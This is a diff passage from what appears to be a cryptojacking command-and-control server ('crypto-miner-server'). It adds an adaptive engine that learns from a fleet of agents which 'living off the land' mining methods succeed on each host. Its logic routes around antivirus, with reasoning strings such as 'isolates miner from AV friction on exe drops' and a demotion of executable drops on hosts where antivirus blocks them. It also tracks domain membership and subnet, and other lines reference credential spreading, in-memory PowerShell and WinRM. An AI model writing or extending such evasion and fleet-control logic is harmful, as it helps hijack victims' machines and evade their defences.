|
return d.aggregateTierOutcomesWhere(`fingerprint_key LIKE ?`, goos+"|%")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) aggregateTierOutcomesWhere(whereClause string, arg interface{}) ([]TierOutcomeStats, error) {
|
||||||
|
query := fmt.Sprintf(`
|
||||||
|
SELECT tier, COUNT(*) AS total,
|
||||||
|
SUM(CASE WHEN ok = 1 THEN 1 ELSE 0 END) AS successes,
|
||||||
|
SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures,
|
||||||
|
MAX(CASE WHEN ok = 1 THEN hashrate ELSE 0 END) AS max_hashrate
|
||||||
|
FROM tier_outcomes WHERE %s GROUP BY tier`, whereClause)
|
||||||
|
rows, err := d.Query(query, arg)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []TierOutcomeStats
|
||||||
|
for rows.Next() {
|
||||||
|
var s TierOutcomeStats
|
||||||
|
if err := rows.Scan(&s.Tier, &s.Total, &s.Successes, &s.Failures, &s.MaxHashrate); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, s)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) PruneTierOutcomesOlderThan(cutoff time.Time) (int64, error) {
|
||||||
|
res, err := d.Exec(`DELETE FROM tier_outcomes WHERE created_at < ?`, cutoff)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return res.RowsAffected()
|
||||||
|
}
|
||||||
325
server/internal/strategy/engine.go
Normal file
325
server/internal/strategy/engine.go
Normal file
@@ -0,0 +1,325 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
"math"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
rescoreInterval = 5 * time.Minute
|
||||||
|
minSamplesForSkip = 3
|
||||||
|
skipFailureRate = 0.85
|
||||||
|
promoteHashrateMin = 1.0
|
||||||
|
)
|
||||||
|
|
||||||
|
// RescoreInterval is how often the hub background loop recomputes strategies.
|
||||||
|
const RescoreInterval = rescoreInterval
|
||||||
|
|
||||||
|
// AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order.
|
||||||
|
type AdaptiveEngine struct {
|
||||||
|
db *db.Database
|
||||||
|
enabled bool
|
||||||
|
mu sync.RWMutex
|
||||||
|
agentFingerprints map[string]HostFingerprint
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine {
|
||||||
|
return &AdaptiveEngine{
|
||||||
|
db: database,
|
||||||
|
enabled: enabled,
|
||||||
|
agentFingerprints: make(map[string]HostFingerprint),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) Enabled() bool {
|
||||||
|
e.mu.RLock()
|
||||||
|
defer e.mu.RUnlock()
|
||||||
|
return e.enabled
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) SetEnabled(on bool) {
|
||||||
|
e.mu.Lock()
|
||||||
|
e.enabled = on
|
||||||
|
e.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) {
|
||||||
|
if agentID == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
e.mu.Lock()
|
||||||
|
e.agentFingerprints[agentID] = fp
|
||||||
|
e.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint {
|
||||||
|
e.mu.RLock()
|
||||||
|
defer e.mu.RUnlock()
|
||||||
|
return e.agentFingerprints[agentID]
|
||||||
|
}
|
||||||
|
|
||||||
|
// AgentFingerprint returns the latest remembered fingerprint for an agent.
|
||||||
|
func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint {
|
||||||
|
return e.agentFingerprint(agentID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordOutcome persists one tier attempt for fleet learning.
|
||||||
|
func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) {
|
||||||
|
if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if fp.GOOS == "" {
|
||||||
|
fp = e.agentFingerprint(agentID)
|
||||||
|
}
|
||||||
|
e.RememberAgentFingerprint(agentID, fp)
|
||||||
|
phase = strings.TrimSpace(phase)
|
||||||
|
if phase == "" {
|
||||||
|
phase = "mining"
|
||||||
|
}
|
||||||
|
if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil {
|
||||||
|
log.Printf("[strategy] record outcome: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScoreTierOrder returns a reordered tier list with transparent reasoning.
|
||||||
|
func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy {
|
||||||
|
base := append([]string(nil), DefaultMiningTierOrder...)
|
||||||
|
now := nowRFC3339()
|
||||||
|
reasoning := []StrategyReason{{
|
||||||
|
Fact: "Host fingerprint: " + describeFingerprint(fp),
|
||||||
|
Inference: "Fleet adaptive engine scores tiers from your machines only",
|
||||||
|
Action: "Starting from default mining tier order",
|
||||||
|
}}
|
||||||
|
|
||||||
|
if !e.Enabled() || e.db == nil {
|
||||||
|
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now}
|
||||||
|
}
|
||||||
|
|
||||||
|
stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[strategy] aggregate outcomes: %v", err)
|
||||||
|
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now}
|
||||||
|
}
|
||||||
|
|
||||||
|
type tierScore struct {
|
||||||
|
tier string
|
||||||
|
score float64
|
||||||
|
}
|
||||||
|
scores := make([]tierScore, 0, len(base))
|
||||||
|
skipSet := make(map[string]bool)
|
||||||
|
indexOf := make(map[string]int, len(base))
|
||||||
|
for i, t := range base {
|
||||||
|
indexOf[t] = i
|
||||||
|
scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)})
|
||||||
|
}
|
||||||
|
|
||||||
|
totalSamples := 0
|
||||||
|
for _, s := range stats {
|
||||||
|
totalSamples += s.Total
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, s := range stats {
|
||||||
|
if s.Total == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
successRate := float64(s.Successes) / float64(s.Total)
|
||||||
|
idx, ok := indexOf[s.Tier]
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
bonus := successRate * 12.0
|
||||||
|
if s.MaxHashrate >= promoteHashrateMin {
|
||||||
|
bonus += 8.0
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: tierLabel(s.Tier) + " produced hashrate on similar hosts",
|
||||||
|
Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket",
|
||||||
|
Action: "Promote " + tierLabel(s.Tier) + " in tier order",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if successRate >= 0.5 && s.Successes > 0 {
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this",
|
||||||
|
Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts",
|
||||||
|
Action: "Boost " + tierLabel(s.Tier) + " priority",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 {
|
||||||
|
skipSet[s.Tier] = true
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS,
|
||||||
|
Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket",
|
||||||
|
Action: "Skip " + tierLabel(s.Tier) + " for this host profile",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
scores[idx].score += bonus - (1.0-successRate)*6.0
|
||||||
|
}
|
||||||
|
|
||||||
|
if fp.GOOS == "windows" && fp.Docker {
|
||||||
|
if idx, ok := indexOf["container"]; ok {
|
||||||
|
scores[idx].score += 6
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops",
|
||||||
|
Action: "Prefer container / docker_load before raw subprocess",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if idx, ok := indexOf["docker_load"]; ok {
|
||||||
|
scores[idx].score += 4
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fp.AVBlocks {
|
||||||
|
if idx, ok := indexOf["exe_subprocess"]; ok {
|
||||||
|
scores[idx].score -= 8
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts",
|
||||||
|
Action: "Demote exe_subprocess; try in-process or container first",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if idx, ok := indexOf["cpu_inprocess"]; ok {
|
||||||
|
scores[idx].score += 5
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fp.WSL {
|
||||||
|
if idx, ok := indexOf["wsl"]; ok {
|
||||||
|
scores[idx].score += 4
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fp.GPU {
|
||||||
|
if idx, ok := indexOf["gpu_subprocess"]; ok {
|
||||||
|
scores[idx].score += 3
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sort.SliceStable(scores, func(i, j int) bool {
|
||||||
|
if scores[i].score == scores[j].score {
|
||||||
|
return indexOf[scores[i].tier] < indexOf[scores[j].tier]
|
||||||
|
}
|
||||||
|
return scores[i].score > scores[j].score
|
||||||
|
})
|
||||||
|
|
||||||
|
order := make([]string, 0, len(scores))
|
||||||
|
seen := make(map[string]bool, len(scores))
|
||||||
|
for _, s := range scores {
|
||||||
|
if seen[s.tier] || skipSet[s.tier] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
order = append(order, s.tier)
|
||||||
|
seen[s.tier] = true
|
||||||
|
}
|
||||||
|
skipTiers := make([]string, 0, len(skipSet))
|
||||||
|
for _, t := range base {
|
||||||
|
if skipSet[t] {
|
||||||
|
skipTiers = append(skipTiers, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 {
|
||||||
|
reasoning = append(reasoning, StrategyReason{
|
||||||
|
Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint",
|
||||||
|
Action: "Apply personalized order before agent tries default path",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
confidence := 0.35
|
||||||
|
if totalSamples > 0 {
|
||||||
|
confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02)
|
||||||
|
}
|
||||||
|
return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy {
|
||||||
|
strat := e.ScoreTierOrder(fp)
|
||||||
|
if e.db == nil || agentID == "" {
|
||||||
|
return strat
|
||||||
|
}
|
||||||
|
e.RememberAgentFingerprint(agentID, fp)
|
||||||
|
raw, _ := json.Marshal(strat)
|
||||||
|
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
|
||||||
|
log.Printf("[strategy] cache strategy: %v", err)
|
||||||
|
}
|
||||||
|
return strat
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *AdaptiveEngine) RecomputeAll() (int, error) {
|
||||||
|
if !e.Enabled() || e.db == nil {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
agents, err := e.db.ListAgentStrategyFingerprints()
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
count := 0
|
||||||
|
for agentID, fpKey := range agents {
|
||||||
|
fp := parseFingerprintKey(fpKey)
|
||||||
|
strat := e.ScoreTierOrder(fp)
|
||||||
|
raw, _ := json.Marshal(strat)
|
||||||
|
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
count++
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseFingerprintKey(key string) HostFingerprint {
|
||||||
|
parts := strings.Split(key, "|")
|
||||||
|
fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"}
|
||||||
|
if len(parts) > 0 && parts[0] != "" {
|
||||||
|
fp.GOOS = parts[0]
|
||||||
|
}
|
||||||
|
if len(parts) > 1 {
|
||||||
|
fp.Docker = parts[1] == "1"
|
||||||
|
}
|
||||||
|
if len(parts) > 2 {
|
||||||
|
fp.WSL = parts[2] == "1"
|
||||||
|
}
|
||||||
|
if len(parts) > 3 {
|
||||||
|
fp.GPU = parts[3] == "1"
|
||||||
|
}
|
||||||
|
if len(parts) > 4 {
|
||||||
|
fp.AVBlocks = parts[4] == "1"
|
||||||
|
}
|
||||||
|
if len(parts) > 5 {
|
||||||
|
fp.DomainJoined = parts[5] == "1"
|
||||||
|
}
|
||||||
|
if len(parts) > 6 {
|
||||||
|
fp.Subnet = parts[6]
|
||||||
|
}
|
||||||
|
return fp
|
||||||
|
}
|
||||||
|
|
||||||
|
func describeFingerprint(fp HostFingerprint) string {
|
||||||
|
chips := []string{fp.GOOS}
|
||||||
|
if fp.Docker {
|
||||||
|
chips = append(chips, "docker")
|
||||||
|
}
|
||||||
|
if fp.WSL {
|
||||||
|
chips = append(chips, "wsl")
|
||||||
|
}
|
||||||
|
if fp.GPU {
|
||||||
|
chips = append(chips, "gpu")
|
||||||
|
}
|
||||||
|
if fp.AVBlocks {
|
||||||
|
chips = append(chips, "av_blocks")
|
||||||
|
}
|
||||||
|
if fp.DomainJoined {
|
||||||
|
chips = append(chips, "domain_joined")
|
||||||
|
}
|
||||||
|
if fp.Subnet != "" {
|
||||||
|
chips = append(chips, "subnet:"+fp.Subnet)
|
||||||
|
}
|
||||||
|
return strings.Join(chips, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") }
|
||||||
|
func formatPct(v float64) string { return formatFloat(v*100) + "%" }
|
||||||
|
func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) }
|
||||||
|
func itoa(n int) string { return strconv.Itoa(n) }
|
||||||
|
func round2(v float64) float64 { return math.Round(v*100) / 100 }
|
||||||
58
server/internal/strategy/engine_test.go
Normal file
58
server/internal/strategy/engine_test.go
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWindowsDockerFingerprintPromotesContainer(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "192.168.1"}
|
||||||
|
key := fp.Key()
|
||||||
|
|
||||||
|
for i := 0; i < 4; i++ {
|
||||||
|
if err := database.InsertTierOutcome("agent-a", key, "exe_subprocess", false, 0, "mining"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i := 0; i < 3; i++ {
|
||||||
|
if err := database.InsertTierOutcome("agent-b", key, "container", true, 1200, "mining"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
engine := NewAdaptiveEngine(database, true)
|
||||||
|
strat := engine.ScoreTierOrder(fp)
|
||||||
|
|
||||||
|
if strat.TierOrder[0] != "container" {
|
||||||
|
t.Fatalf("container should be first on Windows+docker; got %v", strat.TierOrder)
|
||||||
|
}
|
||||||
|
if indexOf(strat.SkipTiers, "exe_subprocess") < 0 {
|
||||||
|
t.Fatalf("exe_subprocess should be skipped; got %v", strat.SkipTiers)
|
||||||
|
}
|
||||||
|
if len(strat.Reasoning) == 0 {
|
||||||
|
t.Fatal("expected reasoning trace")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFingerprintKeyStable(t *testing.T) {
|
||||||
|
fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "10.0.0"}
|
||||||
|
if got := fp.Key(); got != "windows|1|0|0|0|0|10.0.0" {
|
||||||
|
t.Fatalf("key = %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func indexOf(order []string, tier string) int {
|
||||||
|
for i, t := range order {
|
||||||
|
if t == tier {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1
|
||||||
|
}
|
||||||
119
server/internal/strategy/fingerprint.go
Normal file
119
server/internal/strategy/fingerprint.go
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// HostFingerprint captures host signals that drive fleet-wide tier scoring.
|
||||||
|
type HostFingerprint struct {
|
||||||
|
GOOS string `json:"goos"`
|
||||||
|
Docker bool `json:"docker"`
|
||||||
|
WSL bool `json:"wsl"`
|
||||||
|
GPU bool `json:"gpu"`
|
||||||
|
AVBlocks bool `json:"av_blocks"`
|
||||||
|
DomainJoined bool `json:"domain_joined"`
|
||||||
|
Subnet string `json:"subnet"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Key returns a stable bucket id for fleet outcome aggregation.
|
||||||
|
func (f HostFingerprint) Key() string {
|
||||||
|
goos := strings.ToLower(strings.TrimSpace(f.GOOS))
|
||||||
|
if goos == "" {
|
||||||
|
goos = "unknown"
|
||||||
|
}
|
||||||
|
subnet := strings.TrimSpace(f.Subnet)
|
||||||
|
if subnet == "" {
|
||||||
|
subnet = "unknown"
|
||||||
|
}
|
||||||
|
return strings.Join([]string{
|
||||||
|
goos,
|
||||||
|
boolToken(f.Docker),
|
||||||
|
boolToken(f.WSL),
|
||||||
|
boolToken(f.GPU),
|
||||||
|
boolToken(f.AVBlocks),
|
||||||
|
boolToken(f.DomainJoined),
|
||||||
|
subnet,
|
||||||
|
}, "|")
|
||||||
|
}
|
||||||
|
|
||||||
|
func boolToken(v bool) string {
|
||||||
|
if v {
|
||||||
|
return "1"
|
||||||
|
}
|
||||||
|
return "0"
|
||||||
|
}
|
||||||
|
|
||||||
|
// FingerprintFromAuth builds an initial fingerprint from agent auth + connection IP.
|
||||||
|
func FingerprintFromAuth(platform, ip string, domainJoined bool) HostFingerprint {
|
||||||
|
return HostFingerprint{
|
||||||
|
GOOS: normalizeGOOS(platform),
|
||||||
|
DomainJoined: domainJoined,
|
||||||
|
Subnet: subnetFromIP(ip),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// FingerprintFromStats merges live telemetry probes into a fingerprint.
|
||||||
|
func FingerprintFromStats(base HostFingerprint, probes map[string]bool, domainJoined *bool) HostFingerprint {
|
||||||
|
out := base
|
||||||
|
if probes != nil {
|
||||||
|
if v, ok := probes["docker"]; ok {
|
||||||
|
out.Docker = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["wsl"]; ok {
|
||||||
|
out.WSL = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["gpu"]; ok {
|
||||||
|
out.GPU = v
|
||||||
|
}
|
||||||
|
if v, ok := probes["av_blocks_exe"]; ok {
|
||||||
|
out.AVBlocks = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if domainJoined != nil {
|
||||||
|
out.DomainJoined = *domainJoined
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeGOOS(platform string) string {
|
||||||
|
p := strings.ToLower(strings.TrimSpace(platform))
|
||||||
|
switch {
|
||||||
|
case strings.Contains(p, "win"):
|
||||||
|
return "windows"
|
||||||
|
case strings.Contains(p, "linux"):
|
||||||
|
return "linux"
|
||||||
|
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
|
||||||
|
return "darwin"
|
||||||
|
default:
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func subnetFromIP(ip string) string {
|
||||||
|
ip = strings.TrimSpace(ip)
|
||||||
|
if ip == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
host := ip
|
||||||
|
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||||
|
host = h
|
||||||
|
}
|
||||||
|
parsed := net.ParseIP(host)
|
||||||
|
if parsed == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if v4 := parsed.To4(); v4 != nil {
|
||||||
|
parts := strings.Split(host, ".")
|
||||||
|
if len(parts) >= 3 {
|
||||||
|
return strings.Join(parts[:3], ".")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.Contains(host, ":") {
|
||||||
|
parts := strings.Split(host, ":")
|
||||||
|
if len(parts) >= 3 {
|
||||||
|
return strings.Join(parts[:3], ":")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return host
|
||||||
|
}
|
||||||
35
server/internal/strategy/types.go
Normal file
35
server/internal/strategy/types.go
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
package strategy
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
// StrategyReason is one human-readable step in the adaptive tier decision trace.
|
||||||
|
type StrategyReason struct {
|
||||||
|
Fact string `json:"fact"`
|
||||||
|
Inference string `json:"inference"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AdaptiveStrategy is the per-agent personalized LOTL mining tier plan.
|
||||||
|
type AdaptiveStrategy struct {
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||||
|
Reasoning []StrategyReason `json:"reasoning"`
|
||||||
|
Confidence float64 `json:"confidence"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultMiningTierOrder mirrors server auth defaults when Calibrate sends no override.
|
||||||
|
var DefaultMiningTierOrder = []string{
|
||||||
|
"exe_subprocess",
|
||||||
|
"docker_load",
|
||||||
|
"container",
|
||||||
|
"wsl",
|
||||||
|
"ps_inmemory",
|
||||||
|
"cpu_inprocess",
|
||||||
|
"gpu_subprocess",
|
||||||
|
"stratum_direct",
|
||||||
|
}
|
||||||
|
|
||||||
|
func nowRFC3339() string {
|
||||||
|
return time.Now().UTC().Format(time.RFC3339)
|
||||||
|
}
|
||||||
@@ -23,6 +23,7 @@ import (
|
|||||||
"crypto-miner-server/internal/maintenance"
|
"crypto-miner-server/internal/maintenance"
|
||||||
"crypto-miner-server/internal/pool"
|
"crypto-miner-server/internal/pool"
|
||||||
"crypto-miner-server/internal/scheduler"
|
"crypto-miner-server/internal/scheduler"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
"crypto-miner-server/internal/sys"
|
"crypto-miner-server/internal/sys"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -134,6 +135,8 @@ func main() {
|
|||||||
|
|
||||||
// Initialize WebSocket hub
|
// Initialize WebSocket hub
|
||||||
wsHub := api.NewWSHub(database)
|
wsHub := api.NewWSHub(database)
|
||||||
|
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
|
||||||
|
wsHub.SetAdaptiveEngine(adaptiveEngine)
|
||||||
wsHub.SetAIHandler(aiHandler)
|
wsHub.SetAIHandler(aiHandler)
|
||||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||||||
@@ -206,6 +209,9 @@ func main() {
|
|||||||
config: cfg,
|
config: cfg,
|
||||||
onSaved: func(c *Config) {
|
onSaved: func(c *Config) {
|
||||||
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
|
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
|
||||||
|
if adaptiveEngine != nil {
|
||||||
|
adaptiveEngine.SetEnabled(c.Server.AdaptiveStrategyEnabled)
|
||||||
|
}
|
||||||
spreadCredAdapter.setConfig(c)
|
spreadCredAdapter.setConfig(c)
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => {
|
|||||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('renders adaptive strategy reasoning fixtures', () => {
|
||||||
|
renderPanel(
|
||||||
|
mockAgent({ platform: 'windows', status: 'online' }),
|
||||||
|
parseAccessDepthDiagnostics({
|
||||||
|
adaptive_strategy: {
|
||||||
|
tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'],
|
||||||
|
skip_tiers: ['exe_subprocess'],
|
||||||
|
confidence: 0.72,
|
||||||
|
reasoning: [
|
||||||
|
{
|
||||||
|
fact: 'Docker runtime available on Windows host',
|
||||||
|
inference: 'Container tier isolates miner from AV friction',
|
||||||
|
action: 'Prefer container before raw subprocess',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(screen.getByText('Strategy')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Adaptive')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('AI path')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
it('shows pending chain when tiers not yet attempted', () => {
|
it('shows pending chain when tiers not yet attempted', () => {
|
||||||
renderPanel(
|
renderPanel(
|
||||||
mockAgent({
|
mockAgent({
|
||||||
|
|||||||
@@ -161,10 +161,36 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{model.strategyReasoning.length > 0 && (
|
||||||
|
<div className="access-depth-section access-depth-strategy-block">
|
||||||
|
<div className="access-depth-section-title">
|
||||||
|
Strategy
|
||||||
|
{model.adaptiveActive && (
|
||||||
|
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">Adaptive</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<ul className="access-depth-strategy-list">
|
||||||
|
{model.strategyReasoning.map((row, i) => (
|
||||||
|
<li key={`${row.action}-${i}`} className="access-depth-strategy-row">
|
||||||
|
<span className="access-depth-strategy-fact">{row.fact}</span>
|
||||||
|
<span className="access-depth-strategy-inference">{row.inference}</span>
|
||||||
|
<span className="access-depth-strategy-action">{row.action}</span>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
{typeof model.adaptiveConfidence === 'number' && (
|
||||||
|
<div className="access-depth-meta">confidence {Math.round(model.adaptiveConfidence * 100)}%</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="access-depth-section access-depth-onion-block">
|
<div className="access-depth-section access-depth-onion-block">
|
||||||
<div className="access-depth-section-title">
|
<div className="access-depth-section-title">
|
||||||
Effective onion order
|
Effective onion order
|
||||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||||
|
{model.adaptiveActive && (
|
||||||
|
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">AI path</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<div className="access-depth-onion-columns">
|
<div className="access-depth-onion-columns">
|
||||||
<div>
|
<div>
|
||||||
|
|||||||
@@ -13,6 +13,20 @@ export interface EnvironmentProbes {
|
|||||||
webview2?: boolean;
|
webview2?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export interface StrategyReason {
|
||||||
|
fact: string;
|
||||||
|
inference: string;
|
||||||
|
action: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface AdaptiveStrategyView {
|
||||||
|
tier_order?: string[];
|
||||||
|
skip_tiers?: string[];
|
||||||
|
reasoning?: StrategyReason[];
|
||||||
|
confidence?: number;
|
||||||
|
updated_at?: string;
|
||||||
|
}
|
||||||
|
|
||||||
export interface AccessDepthDiagnostics {
|
export interface AccessDepthDiagnostics {
|
||||||
environment_probes?: EnvironmentProbes;
|
